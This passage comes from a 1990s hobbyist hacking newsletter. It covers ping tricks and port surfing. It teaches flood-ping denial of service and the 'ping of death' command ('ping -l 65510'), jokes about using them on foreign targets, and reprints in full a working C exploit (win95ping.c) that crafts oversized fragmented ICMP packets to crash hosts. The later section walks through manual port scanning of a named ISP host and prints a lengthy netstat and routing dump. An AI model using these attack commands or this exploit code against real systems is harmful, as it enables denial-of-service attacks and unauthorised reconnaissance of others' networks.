/usr/etc/ping hostname
```

If this doesn't work, either try the command “whereis ping” or complain to your ISP's tech support. They may have ddiabled ping for ordinary users, but if you convince tech support you are a good Internet citizen they may let you use it.

****

****

NEWBIE NOTE: You say you can't find a way to ping from your on-line service? That may be because you don't have a shell account. But there is one thing you really need in order to hack: A SHELL ACCOUNT!!!!

The reason hackers make fun of people with America Online accounts is because that ISP doesn't give out shell accounts. This is because America Online wants you to be good boys and girls and not hack!

A "shell account" is an Internet account in which your computer becomes a terminal of one of your ISP's host computers. Once you are in the "shell" you can give commands to the operating system (which is usually Unix) just like you were sitting there at the console of one of your ISP's hosts.

You may already have a shell account but just not know how to log on to it. Call tech support with your ISP to find out whether you have one, and how to get on it.

****

There are all sorts of fancy variations on the ping command. And, guess what, whenever there is a command you give over the Internet that has lots of variations, you can just about count on there being something hackable in there. Muhahaha!

The flood ping is a simple example. If your operating system will let you get away with giving the command:

```
-> ping -f hostname
```

it sends out a veritable flood of pings, as fast as your ISP's host machine can make them. This keeps the host you've targeted so busy echoing back your pings that it can do little else. It also puts a heavy load on the network. Hackers with primitive skill levels will sometimes get together and use several of their computers at once to simultaneously ping some victim's Internet host computer. This will generally keep the victim's computer too busy to do anything else. It may even crash. However, the down side (from the attackers' viewpoint) is that it keeps the attackers' computers tied up, too.

****

NETIQUETTE NOTE: Flood pinging a computer is extremely rude. Get caught doing this and you will be lucky if the worst that happens is your on-line service provider closes your account. Do this to a serious hacker and you may need an identity transplant.

If you should start a flood ping kind of by accident, you can shut it off by holding down the control key and pressing "c" (control-c).

****

****

EVIL GENIUS TIP: Ping yourself! If you are using some sort of Unix, your operating system will let you use your computer to do just about anything to itself that it can do to other computers. The network address that takes you back to your own host computer is localhost (or 127.0.0.1).

Here's an example of how I use localhost:

```
<slug> [65] ->telnet localhost
Trying 127.0.0.1 ...
Connected to localhost.
Escape character is '^]'.


SunOS UNIX (slug)

login:
```

See, I'm back to the login sequence for the computer named "slug" all over again.

Now I ping myself:

```
<llama> [68] ->/usr/etc/ping localhost
localhost is alive
```

This gives the same result as if I were to command:

```
<llama> [69] ->/usr/etc/ping llama
llama.swcp.com is alive
```

****
****

MUHAHAHA TIP: Want to yank someone's chain? Tell him to ftp to 127.0.0.1 and log in using his or her own user name and password for kewl warez! My ex-husband Keith Henson did that to the Church of Scientology. The COGs ftp-ed to 127.0.0.1 and discovered all their copyrighted scriptures. They assumed this was on Keith's computer, not theirs. They were *so* sure he had their scriptures that they took him to court. The judge, when he realized they were simply looping back to their own computer, literally laughed them out of court.

For a hilarious transcript or audio tape of this infamous court session, email hkhenson@cup.portal.com. That's Keith's email address. My hat is off to a superb hacker!

****

However, the oversize ping packet exploit you are about to learn will do even more damage to some hosts than a gang of flood ping conspirators. And it will do it without tying up the attackers' computer for any longer than the split second it takes to send out just one ping.

The easiest way to do this hack is to run Windows 95. Don't have it? You can generally find a El Cheapo store that will sell it to you for $99.

To do this, first set up your Windows 95 system so that you can make a PPP or SLIP connection with the Internet using the Dialup Networking program under the My Computer icon. You may need some help from your ISP tech support in setting this up. You must do it this way or this hack won't work. Your America Online dialer *definitely* will not work.

****

NEWBIE NOTE: If your Internet connection allows you to run a Web browser that shows pictures, you can use that dialup number with your Windows 95 Dialup Networking program to get either a PPP or SLIP connection.

****

Next, get your connected to the Internet. But don't run a browser or anything. Instead, once your Dialup Networking program tell you that you have a connection, click on the "Start" button and go to the listing "MS-DOS." Open this DOS window. You'll get a prompt:

```
C:\windows\>
```

Now let's first do this the good citizen way. At this prompt you can type in a plain ordinary "ping" command:

```
C:\windows\ping hostname
```

where "hostname" is the address of some Internet computer. For example, you could ping thales.nmia.com, which is one of my favorite computers, named after an obscure Greek philosopher.

Now if you happened to know the address of one of Saddam Hussein's computers, however, you might want to give the command:

```
c:\windows\ping -l 65510 saddam_hussein's.computer.mil
```

Now don't really do this to a real computer! Some, but not all, computers will crash and either remain hung or reboot when they get this ping. Others will continue working cheerily along, and then suddenly go under hours later.

Why? That extra added -l 65510 creates a giant datagram for the ping packet. Some computers, when asked to send back an identical datagram, get really messed up.

If you want all the gory details on this ping exploit, including how to protect your computers from it, check out http://www.sophist.demon.co.uk/ping.

Now there are other ways to manufacture a giant ping datagram besides using Windows 95. For example, if you run certain FreeBSD or Linux versions of Unix on your PC, you can run this program, which was posted to the Bugtraq list.

From: Bill Fenner <fenner@freefall.freebsd.org>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: Ping exploit program

Since some people don't necessarily have Windows '95 boxes lying around, I (Fenner) wrote the following exploit program. It requires a raw socket layer that doesn't mess with the packet, so BSD 4.3, SunOS and Solaris are out. It works fine on 4.4BSD systems. It should work on Linux if you compile with -DREALLY_RAW.

Feel free to do with this what you want. Please use this tool only to test your own machines, and not to crash others'.

```
* win95ping.c
*
* Simulate the evil win95 "ping -l 65510 buggyhost".
* version 1.0 Bill Fenner <fenner@freebsd.org> 22-Oct-1996
*
* This requires raw sockets that don't mess with the packet
at all (other
* than adding the checksum). That means that SunOS, Solaris,
and
* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD,
NetBSD,
* OpenBSD, BSDI) will work. Linux might work, I don't have a
Linux
```

```
* system to try it on.
*
* The attack from the Win95 box looks like:
* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request
(frag 6144:1480@0+)
* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)
* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)
* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)
* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)
* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)
* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+
* 17:26:11.022641 cslwin95 > arkroyal: (frag
6144:1480@10360+)
* 17:26:11.023869 cslwin95 > arkroyal: (frag
6144:1480@11840+)
* 17:26:11.025140 cslwin95 > arkroyal: (frag
6144:1480@13320+)
* 17:26:11.026604 cslwin95 > arkroyal: (frag
6144:1480@14800+)
* 17:26:11.027628 cslwin95 > arkroyal: (frag
6144:1480@16280+)
* 17:26:11.028871 cslwin95 > arkroyal: (frag
6144:1480@17760+)
* 17:26:11.030100 cslwin95 > arkroyal: (frag
6144:1480@19240+)
* 17:26:11.031307 cslwin95 > arkroyal: (frag
6144:1480@20720+)
* 17:26:11.032542 cslwin95 > arkroyal: (frag
6144:1480@22200+)
* 17:26:11.033774 cslwin95 > arkroyal: (frag
6144:1480@23680+)
* 17:26:11.035018 cslwin95 > arkroyal: (frag
6144:1480@25160+)
* 17:26:11.036576 cslwin95 > arkroyal: (frag
6144:1480@26640+)
* 17:26:11.037464 cslwin95 > arkroyal: (frag
6144:1480@28120+)
* 17:26:11.038696 cslwin95 > arkroyal: (frag
6144:1480@29600+)
* 17:26:11.039966 cslwin95 > arkroyal: (frag
6144:1480@31080+)
* 17:26:11.041218 cslwin95 > arkroyal: (frag
6144:1480@32560+)
* 17:26:11.042579 cslwin95 > arkroyal: (frag
6144:1480@34040+)
* 17:26:11.043807 cslwin95 > arkroyal: (frag
6144:1480@35520+)
```

```
* 17:26:11.046276 cslwin95 > arkroyal: (frag
6144:1480@37000+)
* 17:26:11.047236 cslwin95 > arkroyal: (frag
6144:1480@38480+)
* 17:26:11.048478 cslwin95 > arkroyal: (frag
6144:1480@39960+)
* 17:26:11.049698 cslwin95 > arkroyal: (frag
6144:1480@41440+)
* 17:26:11.050929 cslwin95 > arkroyal: (frag
6144:1480@42920+)
* 17:26:11.052164 cslwin95 > arkroyal: (frag
6144:1480@44400+)
* 17:26:11.053398 cslwin95 > arkroyal: (frag
6144:1480@45880+)
* 17:26:11.054685 cslwin95 > arkroyal: (frag
6144:1480@47360+)
* 17:26:11.056347 cslwin95 > arkroyal: (frag
6144:1480@48840+)
* 17:26:11.057313 cslwin95 > arkroyal: (frag
6144:1480@50320+)
* 17:26:11.058357 cslwin95 > arkroyal: (frag
6144:1480@51800+)
* 17:26:11.059588 cslwin95 > arkroyal: (frag
6144:1480@53280+)
* 17:26:11.060787 cslwin95 > arkroyal: (frag
6144:1480@54760+)
* 17:26:11.062023 cslwin95 > arkroyal: (frag
6144:1480@56240+)
* 17:26:11.063247 cslwin95 > arkroyal: (frag
6144:1480@57720+)
* 17:26:11.064479 cslwin95 > arkroyal: (frag
6144:1480@59200+)
* 17:26:11.066252 cslwin95 > arkroyal: (frag
6144:1480@60680+)
* 17:26:11.066957 cslwin95 > arkroyal: (frag
6144:1480@62160+)
* 17:26:11.068220 cslwin95 > arkroyal: (frag
6144:1480@63640+)
* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
```

```
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/*
* If your kernel doesn't muck with raw packets, #define
REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;

bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) <
0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
for (offset = 0; offset < 65536; offset += (sizeof buf -
sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}
```

(End of Fenner's ping exploit message.)

****

YOU CAN GO TO JAIL NOTE: Not only is this hack not elite, if you are reading this you don't know enough to keep from getting busted from doing this ping hack. On the other hand, if you were to do it to an Internet host in Iraq...

****

Of course there are many other kewl things you can do with ping. If you have a shell account, you can find out lots of stuph about ping by giving the command:

```
man ping
```

In fact, you can get lots of details on any Unix command with "man."

Have fun with ping -- and be good! But remember, I'm not begging the evil genius wannabes to be good. See if I care when you get busted...

To subscribe, email hacker@techbroker.com with message “subscribe hh.” To send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to dev/null@techbroker.com. Happy hacking!

GUIDE TO (mostly) HARMLESS HACKING

Vol. 2 Number 4

More intro to TCP/IP: port surfing! Daemons! How to get on almost any computer without logging in and without breaking the law. Impress your clueless friends and actually discover kewl, legal, safe stuph.

A few days ago I had a lady friend visiting. She’s 42 and doesn’t own a computer. However, she is taking a class on personal computers at a community college. She wanted to know what all this hacking stuph is about. So I decided to introduce her to port surfing. And while doing it, we stumbled across something kewl.

Port surfing takes advantage of the structure of TCP/IP. This is the protocol (set of rules) used for computers to talk to each other over the Internet. One of the basic principles of Unix (the most popular operating system on the Internet) is to assign a “port” to every function that one computer might command another to perform. Common examples are to send and receive email, read Usenet newsgroups, telnet, transfer files, and offer Web pages.

****

Newbie note #1: A computer port is a place where information goes in or out of it. On your home computer, examples of ports are your monitor, which sends information out, your keyboard and mouse, which send information in, and your modem, which sends information both out and in.

But an Internet host computer such as callisto.unm.edu has many more ports than a typical home computer. These ports are identified by numbers. Now these are not all physical ports, like a keyboard or RS232 serial port (for your modem). They are virtual (software) ports.

A “service” is a program running on a “port.” When you telnet to a port, that program is up and running, just waiting for your input. Happy hacking!

****

So if you want to read a Web page, your browser contacts port number 80 and tells the computer that manages that Web site to let you in. And, sure enough, you get into that Web server computer without a password.

OK, big deal. That’s pretty standard for the Internet. Many -- most -- computers on the Internet will let you do some things with them without needing a password,

However, the essence of hacking is doing things that aren’t obvious. That don’t just jump out at you from the manuals. One way you can move a step up from the run of the mill computer user is to learn how to port surf.

The essence of port surfing is to pick out a target computer and explore it to see what ports are open and what you can do with them.

Now if you are a lazy hacker you can use canned hacker tools such as Satan or Netcat. These are programs you can run from Linux, FreeBSD or Solaris (all types of Unix) from your PC. They automatically scan your target computers. They will tell you what ports are in use. They will also probe these ports for presence of daemons with know security flaws, and tell you what they are.

****

Newbie note # 2: A daemon is not some sort of grinch or gremlin or 666 guy. It is a program that runs in the background on many (but not all) Unix system ports. It waits for you to come along and use it. If you find a daemon on a port, it’s probably hackable. Some hacker tools will tell you what the hackable features are of the daemons they detect.

****

However, there are several reasons to surf ports by hand instead of automatically.

1) You will learn something. Probing manually you get a gut feel for how the daemon running on that port behaves. It’s the difference between watching an x-rated movie and (blush).

2) You can impress your friends. If you run a canned hacker tool like Satan your friends will look at you and say, “Big deal. I can run programs, too.” They will immediately catch on to the dirty little secret of the hacker world. Most

hacking exploits are just lamerz running programs they picked up from some BBS or ftp site. But if you enter commands keystroke by keystroke they will see you using your brain. And you can help them play with daemons, too, and give them a giant rush.

3) The truly elite hackers surf ports and play with daemons by hand because it is the only way to discover something new. There are only a few hundred hackers -- at most -- who discover new stuph. The rest just run canned exploits over and over and over again. Boring. But I am teaching you how to reach the pinnacle of hackerdom.

Now let me tell you what my middle aged friend and I discovered just messing around. First, we decided we didn’t want to waste our time messing with some minor little host computer. Hey, let’s go for the big time!

So how do you find a big kahuna computer on the Internet? We started with a domain which consisted of a LAN of PCs running Linux that I happened to already know about, that is used by the New Mexico Internet Access ISP: nmia.com.

****

Newbie Note # 3: A domain is an Internet address. You can use it to look up who runs the computers used by the domain, and also to look up how that domain is connected to the rest of the Internet.

****

So to do this we first logged into my shell account with Southwest Cyberport. I gave the command:

```
<slug> [66] ->whois nmia.com
New Mexico Internet Access (NMIA-DOM)
2201 Buena Vista SE
Albuquerque, NM 87106
Domain Name: NMIA.COM
Administrative Contact, Technical Contact, Zone Contact:
Orrell, Stan (SO11) SAO@NMIA.COM
(505) 877-0617
Record last updated on 11-Mar-94.
Record created on 11-Mar-94.
Domain servers in listed order:
NS.NMIA.COM 198.59.166.10
GRANDE.NM.ORG 129.121.1.2
```

Now it’s a good bet that grande.nm.org is serving a lot of other Internet hosts beside nmia.com. Here’s how we port surf our way to find this out:

```
<slug> [67] ->telnet grande.nm.org 15
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
```

```
TGV MultiNet V3.5 Rev B, VAX 4000-400, OpenVMS VAX V6.1
Product License Authorization Expiration Date
---------- ------- ------------ ---------------
MULTINET Yes A-137-1641 (none)
NFS-CLIENT Yes A-137-113237 (none)
*** Configuration for file
"MULTINET:NETWORK_DEVICES.CONFIGURATION" ***
Device Adapter CSR Address Flags/Vector
------ ------- ----------- ------------
se0 (Shared VMS Ethernet/FDDI) -NONE- -NONE- -NONE-
MultiNet Active Connections, including servers:
Proto Rcv-Q Snd-Q Local Address (Port) Foreign Address (Port)
State
----- ----- ----- ------------------ ----------------- -----
TCP 0 822 GRANDE.NM.ORG(NETSTAT) 198.59.115.24(1569)
ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(POP3) 164.64.201.67(1256) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(4918) 129.121.254.5(TELNET) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(TELNET) AVATAR.NM.ORG(3141) ESTABLISHED
TCP 0 0 *(NAMESERVICE) *(*) LISTEN
TCP 0 0 *(TELNET) *(*) LISTEN
TCP 0 0 *(FTP) *(*) LISTEN
TCP 0 0 *(FINGER) *(*) LISTEN
TCP 0 0 *(NETSTAT) *(*) LISTEN
TCP 0 0 *(SMTP) *(*) LISTEN
TCP 0 0 *(LOGIN) *(*) LISTEN
TCP 0 0 *(SHELL) *(*) LISTEN
TCP 0 0 *(EXEC) *(*) LISTEN
TCP 0 0 *(RPC) *(*) LISTEN
TCP 0 0 *(NETCONTROL) *(*) LISTEN
TCP 0 0 *(SYSTAT) *(*) LISTEN
TCP 0 0 *(CHARGEN) *(*) LISTEN
TCP 0 0 *(DAYTIME) *(*) LISTEN
TCP 0 0 *(TIME) *(*) LISTEN
TCP 0 0 *(ECHO) *(*) LISTEN
TCP 0 0 *(DISCARD) *(*) LISTEN
TCP 0 0 *(PRINTER) *(*) LISTEN
TCP 0 0 *(POP2) *(*) LISTEN
TCP 0 0 *(POP3) *(*) LISTEN
TCP 0 0 *(KERBEROS_MASTER) *(*) LISTEN
TCP 0 0 *(KLOGIN) *(*) LISTEN
TCP 0 0 *(KSHELL) *(*) LISTEN
TCP 0 0 GRANDE.NM.ORG(4174) OSO.NM.ORG(X11) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(4172) OSO.NM.ORG(X11) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(4171) OSO.NM.ORG(X11) ESTABLISHED
TCP 0 0 *(FS) *(*) LISTEN
UDP 0 0 *(NAMESERVICE) *(*)
UDP 0 0 127.0.0.1(NAMESERVICE) *(*)
UDP 0 0 GRANDE.NM.OR(NAMESERV) *(*)
UDP 0 0 *(TFTP) *(*)
UDP 0 0 *(BOOTPS) *(*)
UDP 0 0 *(KERBEROS) *(*)
UDP 0 0 127.0.0.1(KERBEROS) *(*)
UDP 0 0 GRANDE.NM.OR(KERBEROS) *(*)
UDP 0 0 *(*) *(*)
UDP 0 0 *(SNMP) *(*)
UDP 0 0 *(RPC) *(*)
UDP 0 0 *(DAYTIME) *(*)
UDP 0 0 *(ECHO) *(*)
UDP 0 0 *(DISCARD) *(*)
UDP 0 0 *(TIME) *(*)
UDP 0 0 *(CHARGEN) *(*)
UDP 0 0 *(TALK) *(*)
UDP 0 0 *(NTALK) *(*)
UDP 0 0 *(1023) *(*)
UDP 0 0 *(XDMCP) *(*)
MultiNet registered RPC programs:
Program Version Protocol Port
------- ------- -------- ----
PORTMAP 2 TCP 111
PORTMAP 2 UDP 111
MultiNet IP Routing tables:
Destination Gateway Flags Refcnt Use Interface MTU
---------- ---------- ----- ------ ----- --------- ----
198.59.167.1 LAWRII.NM.ORG Up,Gateway,H 0 2 se0 1500
166.45.0.1 ENSS365.NM.ORG Up,Gateway,H 0 4162 se0 1500
205.138.138.1 ENSS365.NM.ORG Up,Gateway,H 0 71 se0 1500
204.127.160.1 ENSS365.NM.ORG Up,Gateway,H 0 298 se0 1500
127.0.0.1 127.0.0.1 Up,Host 5 1183513 lo0 4136
198.59.167.2 LAWRII.NM.ORG Up,Gateway,H 0 640 se0 1500
192.132.89.2 ENSS365.NM.ORG Up,Gateway,H 0 729 se0 1500
207.77.56.2 ENSS365.NM.ORG Up,Gateway,H 0 5 se0 1500
204.97.213.2 ENSS365.NM.ORG Up,Gateway,H 0 2641 se0 1500
194.90.74.66 ENSS365.NM.ORG Up,Gateway,H 0 1 se0 1500
204.252.102.2 ENSS365.NM.ORG Up,Gateway,H 0 109 se0 1500
205.160.243.2 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500
202.213.4.2 ENSS365.NM.ORG Up,Gateway,H 0 4 se0 1500
202.216.224.66 ENSS365.NM.ORG Up,Gateway,H 0 113 se0 1500
192.132.89.3 ENSS365.NM.ORG Up,Gateway,H 0 1100 se0 1500
198.203.196.67 ENSS365.NM.ORG Up,Gateway,H 0 385 se0 1500
160.205.13.3 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500
202.247.107.131 ENSS365.NM.ORG Up,Gateway,H 0 19 se0 1500
198.59.167.4 LAWRII.NM.ORG Up,Gateway,H 0 82 se0 1500
128.148.157.6 ENSS365.NM.ORG Up,Gateway,H 0 198 se0 1500
```

```
160.45.10.6 ENSS365.NM.ORG Up,Gateway,H 0 3 se0 1500
128.121.50.7 ENSS365.NM.ORG Up,Gateway,H 0 3052 se0 1500
206.170.113.8 ENSS365.NM.ORG Up,Gateway,H 0 1451 se0 1500
128.148.128.9 ENSS365.NM.ORG Up,Gateway,H 0 1122 se0 1500
203.7.132.9 ENSS365.NM.ORG Up,Gateway,H 0 14 se0 1500
204.216.57.10 ENSS365.NM.ORG Up,Gateway,H 0 180 se0 1500
130.74.1.75 ENSS365.NM.ORG Up,Gateway,H 0 10117 se0 1500
206.68.65.15 ENSS365.NM.ORG Up,Gateway,H 0 249 se0 1500
129.219.13.81 ENSS365.NM.ORG Up,Gateway,H 0 547 se0 1500
204.255.246.18 ENSS365.NM.ORG Up,Gateway,H 0 1125 se0 1500
160.45.24.21 ENSS365.NM.ORG Up,Gateway,H 0 97 se0 1500
206.28.168.21 ENSS365.NM.ORG Up,Gateway,H 0 2093 se0 1500
163.179.3.222 ENSS365.NM.ORG Up,Gateway,H 0 315 se0 1500
198.109.130.33 ENSS365.NM.ORG Up,Gateway,H 0 1825 se0 1500
199.224.108.33 ENSS365.NM.ORG Up,Gateway,H 0 11362 se0 1500
203.7.132.98 ENSS365.NM.ORG Up,Gateway,H 0 73 se0 1500
198.111.253.35 ENSS365.NM.ORG Up,Gateway,H 0 1134 se0 1500
206.149.24.100 ENSS365.NM.ORG Up,Gateway,H 0 3397 se0 1500
165.212.105.106 ENSS365.NM.ORG Up,Gateway,H 0 17 se0 1006
205.238.3.241 ENSS365.NM.ORG Up,Gateway,H 0 69 se0 1500
198.49.44.242 ENSS365.NM.ORG Up,Gateway,H 0 25 se0 1500
194.22.188.242 ENSS365.NM.ORG Up,Gateway,H 0 20 se0 1500
164.64.0 LAWRII.NM.ORG Up,Gateway 1 40377 se0 1500
0.0.0 ENSS365.NM.ORG Up,Gateway 2 4728741 se0 1500
207.66.1 GLORY.NM.ORG Up,Gateway 0 51 se0 1500
205.166.1 GLORY.NM.ORG Up,Gateway 0 1978 se0 1500
204.134.1 LAWRII.NM.ORG Up,Gateway 0 54 se0 1500
204.134.2 GLORY.NM.ORG Up,Gateway 0 138 se0 1500
192.132.2 129.121.248.1 Up,Gateway 0 6345 se0 1500
204.134.67 GLORY.NM.ORG Up,Gateway 0 2022 se0 1500
206.206.67 GLORY.NM.ORG Up,Gateway 0 7778 se0 1500
206.206.68 LAWRII.NM.ORG Up,Gateway 0 3185 se0 1500
207.66.5 GLORY.NM.ORG Up,Gateway 0 626 se0 1500
204.134.69 GLORY.NM.ORG Up,Gateway 0 7990 se0 1500
207.66.6 GLORY.NM.ORG Up,Gateway 0 53 se0 1500
204.134.70 LAWRII.NM.ORG Up,Gateway 0 18011 se0 1500
192.188.135 GLORY.NM.ORG Up,Gateway 0 5 se0 1500
206.206.71 LAWRII.NM.ORG Up,Gateway 0 2 se0 1500
204.134.7 GLORY.NM.ORG Up,Gateway 0 38 se0 1500
199.89.135 GLORY.NM.ORG Up,Gateway 0 99 se0 1500
198.59.136 LAWRII.NM.ORG Up,Gateway 0 1293 se0 1500
204.134.9 GLORY.NM.ORG Up,Gateway 0 21 se0 1500
204.134.73 GLORY.NM.ORG Up,Gateway 0 59794 se0 1500
129.138.0 GLORY.NM.ORG Up,Gateway 0 5262 se0 1500
192.92.10 LAWRII.NM.ORG Up,Gateway 0 163 se0 1500
206.206.75 LAWRII.NM.ORG Up,Gateway 0 604 se0 1500
207.66.13 GLORY.NM.ORG Up,Gateway 0 1184 se0 1500
```

```
204.134.77 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500
207.66.14 GLORY.NM.ORG Up,Gateway 0 334 se0 1500
204.134.78 GLORY.NM.ORG Up,Gateway 0 239 se0 1500
204.52.207 GLORY.NM.ORG Up,Gateway 0 293 se0 1500
204.134.79 GLORY.NM.ORG Up,Gateway 0 1294 se0 1500
192.160.144 LAWRII.NM.ORG Up,Gateway 0 117 se0 1500
206.206.80 PENNY.NM.ORG Up,Gateway 0 4663 se0 1500
204.134.80 GLORY.NM.ORG Up,Gateway 0 91 se0 1500
198.99.209 LAWRII.NM.ORG Up,Gateway 0 1136 se0 1500
207.66.17 GLORY.NM.ORG Up,Gateway 0 24173 se0 1500
204.134.82 GLORY.NM.ORG Up,Gateway 0 29766 se0 1500
192.41.211 GLORY.NM.ORG Up,Gateway 0 155 se0 1500
192.189.147 LAWRII.NM.ORG Up,Gateway 0 3133 se0 1500
204.134.84 PENNY.NM.ORG Up,Gateway 0 189 se0 1500
204.134.87 LAWRII.NM.ORG Up,Gateway 0 94 se0 1500
146.88.0 GLORY.NM.ORG Up,Gateway 0 140 se0 1500
192.84.24 GLORY.NM.ORG Up,Gateway 0 3530 se0 1500
204.134.88 LAWRII.NM.ORG Up,Gateway 0 136 se0 1500
198.49.217 GLORY.NM.ORG Up,Gateway 0 303 se0 1500
192.132.89 GLORY.NM.ORG Up,Gateway 0 3513 se0 1500
198.176.219 GLORY.NM.ORG Up,Gateway 0 1278 se0 1500
206.206.92 LAWRII.NM.ORG Up,Gateway 0 1228 se0 1500
192.234.220 129.121.1.91 Up,Gateway 0 2337 se0 1500
204.134.92 LAWRII.NM.ORG Up,Gateway 0 13995 se0 1500
198.59.157 LAWRII.NM.ORG Up,Gateway 0 508 se0 1500
206.206.93 GLORY.NM.ORG Up,Gateway 0 635 se0 1500
204.134.93 GLORY.NM.ORG Up,Gateway 0 907 se0 1500
198.59.158 LAWRII.NM.ORG Up,Gateway 0 14214 se0 1500
198.59.159 LAWRII.NM.ORG Up,Gateway 0 1806 se0 1500
204.134.95 PENNY.NM.ORG Up,Gateway 0 3644 se0 1500
206.206.96 GLORY.NM.ORG Up,Gateway 0 990 se0 1500
206.206.161 LAWRII.NM.ORG Up,Gateway 0 528 se0 1500
198.59.97 PENNY.NM.ORG Up,Gateway 0 55 se0 1500
198.59.161 LAWRII.NM.ORG Up,Gateway 0 497 se0 1500
192.207.226 GLORY.NM.ORG Up,Gateway 0 93217 se0 1500
198.59.99 PENNY.NM.ORG Up,Gateway 0 2 se0 1500
198.59.163 GLORY.NM.ORG Up,Gateway 0 3379 se0 1500
192.133.100 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500
204.134.100 GLORY.NM.ORG Up,Gateway 0 8 se0 1500
128.165.0 PENNY.NM.ORG Up,Gateway 0 15851 se0 1500
198.59.165 GLORY.NM.ORG Up,Gateway 0 274 se0 1500
206.206.165 LAWRII.NM.ORG Up,Gateway 0 167 se0 1500
206.206.102 GLORY.NM.ORG Up,Gateway 0 5316 se0 1500
160.230.0 LAWRII.NM.ORG Up,Gateway 0 19408 se0 1500
206.206.166 LAWRII.NM.ORG Up,Gateway 0 1756 se0 1500
205.166.231 GLORY.NM.ORG Up,Gateway 0 324 se0 1500
198.59.167 GLORY.NM.ORG Up,Gateway 0 1568 se0 1500
```

```
206.206.103 GLORY.NM.ORG Up,Gateway 0 3629 se0 1500
198.59.168 GLORY.NM.ORG Up,Gateway 0 9063 se0 1500
206.206.104 GLORY.NM.ORG Up,Gateway 0 7333 se0 1500
206.206.168 GLORY.NM.ORG Up,Gateway 0 234 se0 1500
204.134.105 LAWRII.NM.ORG Up,Gateway 0 4826 se0 1500
206.206.105 LAWRII.NM.ORG Up,Gateway 0 422 se0 1500
204.134.41 LAWRII.NM.ORG Up,Gateway 0 41782 se0 1500
206.206.169 GLORY.NM.ORG Up,Gateway 0 5101 se0 1500
204.134.42 GLORY.NM.ORG Up,Gateway 0 10761 se0 1500
206.206.170 GLORY.NM.ORG Up,Gateway 0 916 se0 1500
198.49.44 GLORY.NM.ORG Up,Gateway 0 3 se0 1500
198.59.108 GLORY.NM.ORG Up,Gateway 0 2129 se0 1500
204.29.236 GLORY.NM.ORG Up,Gateway 0 125 se0 1500
206.206.172 GLORY.NM.ORG Up,Gateway 0 5839 se0 1500
204.134.108 GLORY.NM.ORG Up,Gateway 0 3216 se0 1500
206.206.173 GLORY.NM.ORG Up,Gateway 0 374 se0 1500
198.175.173 LAWRII.NM.ORG Up,Gateway 0 6227 se0 1500
198.59.110 GLORY.NM.ORG Up,Gateway 0 1797 se0 1500
198.51.238 GLORY.NM.ORG Up,Gateway 0 1356 se0 1500
192.136.110 GLORY.NM.ORG Up,Gateway 0 583 se0 1500
204.134.48 GLORY.NM.ORG Up,Gateway 0 42 se0 1500
198.175.176 LAWRII.NM.ORG Up,Gateway 0 32 se0 1500
206.206.114 LAWRII.NM.ORG Up,Gateway 0 44 se0 1500
206.206.179 LAWRII.NM.ORG Up,Gateway 0 14 se0 1500
198.59.179 PENNY.NM.ORG Up,Gateway 0 222 se0 1500
198.59.115 GLORY.NM.ORG Up,Gateway 1 132886 se0 1500
206.206.181 GLORY.NM.ORG Up,Gateway 0 1354 se0 1500
206.206.182 SIENNA.NM.ORG Up,Gateway 0 16 se0 1500
